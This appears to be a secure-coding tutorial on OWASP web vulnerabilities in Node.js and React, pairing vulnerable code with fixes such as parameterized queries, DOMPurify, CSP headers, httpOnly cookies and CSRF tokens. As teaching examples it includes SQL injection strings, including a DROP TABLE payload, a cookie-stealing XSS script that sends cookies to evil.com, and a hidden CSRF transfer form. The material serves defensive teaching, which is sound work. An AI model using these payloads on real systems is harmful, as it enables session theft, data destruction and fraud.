The Security Mindset
The fundamental shift from 'writing features' to 'writing secure code' is learning to ask: "How would an attacker abuse this?" Every input field is a potential injection point. Every URL parameter could be manipulated. Every authentication check might be bypassed.
Let's systematically walk through the vulnerabilities that compromise real applications every day.
OWASP Vulnerability 1: SQL Injection
SQL injection occurs when user input is concatenated directly into SQL queries, allowing attackers to manipulate the query structure.
The Vulnerability
// ❌ CRITICALLY VULNERABLE
const email = req.body.email; // Attacker input: "' OR '1'='1"
const query = "SELECT * FROM users WHERE email = '" + email + "'";
// Executed query: SELECT * FROM users WHERE email = '' OR '1'='1'
// Returns ALL users — authentication bypassed!
// Even worse — DROP TABLE attack:
// Attacker input: "'; DROP TABLE users; --"
// Executed: SELECT * FROM users WHERE email = ''; DROP TABLE users; --The Defense: Parameterized Queries
// ✅ SAFE — parameterized query with node-postgres
const result = await pool.query(
"SELECT * FROM users WHERE email = $1 AND password_hash = $2",
[email, hashedPassword] // Parameters are never interpolated into SQL
);
// ✅ SAFE — Prisma ORM (parameterized by default)
const user = await prisma.user.findUnique({
where: { email: req.body.email },
});
// ✅ SAFE — TypeORM with parameters
const user = await userRepository.findOne({
where: { email: req.body.email },
});
// ❌ STILL VULNERABLE — Prisma raw query with interpolation
const user = await prisma.$queryRaw`
SELECT * FROM users WHERE email = '${req.body.email}'
`;
// ✅ SAFE — Prisma raw query with proper parameterization
const user = await prisma.$queryRaw`
SELECT * FROM users WHERE email = ${req.body.email}
`;
// Note: Prisma's tagged template handles parameterization correctlyOWASP Vulnerability 2: Cross-Site Scripting (XSS)
XSS lets attackers inject malicious scripts that run in other users' browsers — stealing sessions, cookies, credentials.
Stored XSS Attack
// User submits a comment with:
const maliciousComment = '<script>document.location="https://evil.com?c="+document.cookie</script>';
// If stored and displayed without sanitization:
// Every visitor's session cookie gets sent to evil.comDefense 1: Output Encoding (React handles this automatically)
// ✅ React automatically HTML-encodes this — safe
function Comment({ text }: { text: string }) {
return <p>{text}</p>; // text is escaped: <script>...
}
// ❌ DANGEROUS — dangerouslySetInnerHTML bypasses React's protection
function Comment({ html }: { html: string }) {
return <p dangerouslySetInnerHTML={{ __html: html }} />;
}
// ✅ SAFE if you MUST render HTML — sanitize first with DOMPurify
import DOMPurify from "dompurify";
function BlogContent({ html }: { html: string }) {
const clean = DOMPurify.sanitize(html, {
ALLOWED_TAGS: ["p", "h2", "h3", "strong", "em", "a", "ul", "li", "code", "pre"],
ALLOWED_ATTR: ["href", "title"],
ALLOW_DATA_ATTR: false,
});
return <article dangerouslySetInnerHTML={{ __html: clean }} />;
}Defense 2: Content Security Policy (CSP) Headers
// next.config.ts — CSP header prevents execution of injected scripts
const cspHeader = [
"default-src 'self'",
"script-src 'self' 'nonce-{nonce}' https://pagead2.googlesyndication.com",
"style-src 'self' 'unsafe-inline' https://fonts.googleapis.com",
"img-src 'self' data: https://images.unsplash.com",
"connect-src 'self' https://api.yourapp.com",
"font-src 'self' https://fonts.gstatic.com",
"frame-ancestors 'none'",
"base-uri 'self'",
].join("; ");
const nextConfig = {
headers: async () => [
{
source: "/(.*)",
headers: [
{ key: "Content-Security-Policy", value: cspHeader },
{ key: "X-Frame-Options", value: "DENY" },
{ key: "X-Content-Type-Options", value: "nosniff" },
{ key: "Referrer-Policy", value: "strict-origin-when-cross-origin" },
{ key: "Permissions-Policy", value: "camera=(), microphone=(), geolocation=()" },
],
},
],
};OWASP Vulnerability 3: Broken Authentication
Defense: Secure JWT Implementation
// ❌ WEAK — storing JWT in localStorage (accessible to XSS)
localStorage.setItem("token", jwt);
// ✅ SECURE — httpOnly cookie (inaccessible to JavaScript)
res.cookie("auth_token", jwt, {
httpOnly: true, // XSS cannot read this cookie
secure: true, // HTTPS only
sameSite: "strict", // CSRF protection
maxAge: 15 * 60 * 1000, // 15 minutes for access token
path: "/",
});
// Short-lived access tokens + long-lived refresh tokens
const accessToken = jwt.sign(
{ sub: user.id, email: user.email, role: user.role },
process.env.JWT_SECRET!,
{ expiresIn: "15m" } // Short expiry
);
const refreshToken = jwt.sign(
{ sub: user.id, jti: crypto.randomUUID() }, // jti = JWT ID for revocation
process.env.JWT_REFRESH_SECRET!,
{ expiresIn: "7d" }
);Password Hashing — Argon2 > bcrypt
import argon2 from "argon2";
// Hash password (on registration)
const hash = await argon2.hash(plainPassword, {
type: argon2.argon2id,
memoryCost: 65536, // 64 MB memory — resistant to GPU attacks
timeCost: 3, // 3 iterations
parallelism: 4,
});
// Verify password (on login)
const isValid = await argon2.verify(hash, plainPassword);OWASP Vulnerability 4: Insecure Direct Object Reference (IDOR)
// ❌ VULNERABLE — user can access ANY order by guessing IDs
app.get("/api/orders/:id", async (req, res) => {
const order = await db.query("SELECT * FROM orders WHERE id = $1", [req.params.id]);
res.json(order);
});
// Attacker changes orderId from 123 to 124, 125, etc. — sees other users' orders
// ✅ SECURE — always scope to authenticated user
app.get("/api/orders/:id", authenticate, async (req, res) => {
const order = await db.query(
"SELECT * FROM orders WHERE id = $1 AND user_id = $2",
[req.params.id, req.user.id] // user.id comes from JWT, not request body
);
if (!order.rows.length) return res.status(404).json({ error: "Not found" });
res.json(order.rows[0]);
});OWASP Vulnerability 5: CSRF (Cross-Site Request Forgery)
// ❌ VULNERABLE — any site can trigger this with a hidden form
// <form action="https://yourapp.com/api/transfer" method="POST">
// <input name="amount" value="10000">
// <input name="to_account" value="attacker_account">
// </form>
// ✅ Defense 1: SameSite cookies (already shown above)
// ✅ Defense 2: CSRF token
import csrf from "csrf";
const tokens = new csrf();
// Issue CSRF token
app.get("/api/csrf-token", (req, res) => {
const secret = req.session.csrfSecret ?? tokens.secretSync();
req.session.csrfSecret = secret;
res.json({ csrfToken: tokens.create(secret) });
});
// Validate on state-changing requests
app.post("/api/transfer", (req, res) => {
const { csrfToken } = req.body;
if (!tokens.verify(req.session.csrfSecret, csrfToken)) {
return res.status(403).json({ error: "Invalid CSRF token" });
}
// Process transfer...
});Security Headers Checklist
✅ Content-Security-Policy — prevent XSS script execution
✅ Strict-Transport-Security — force HTTPS
✅ X-Frame-Options: DENY — prevent clickjacking
✅ X-Content-Type-Options: nosniff — prevent MIME sniffing
✅ Referrer-Policy — control referrer information leakage
✅ Permissions-Policy — disable unused browser features
✅ CORS configured correctly — whitelist specific origins onlyConclusion
Security is a continuous practice, not a one-time audit. The OWASP Top 10 represents the most common, highest-impact vulnerabilities attacking real applications today. By understanding the exploitation techniques — not just the defenses — you develop intuition for spotting vulnerabilities before they ship.
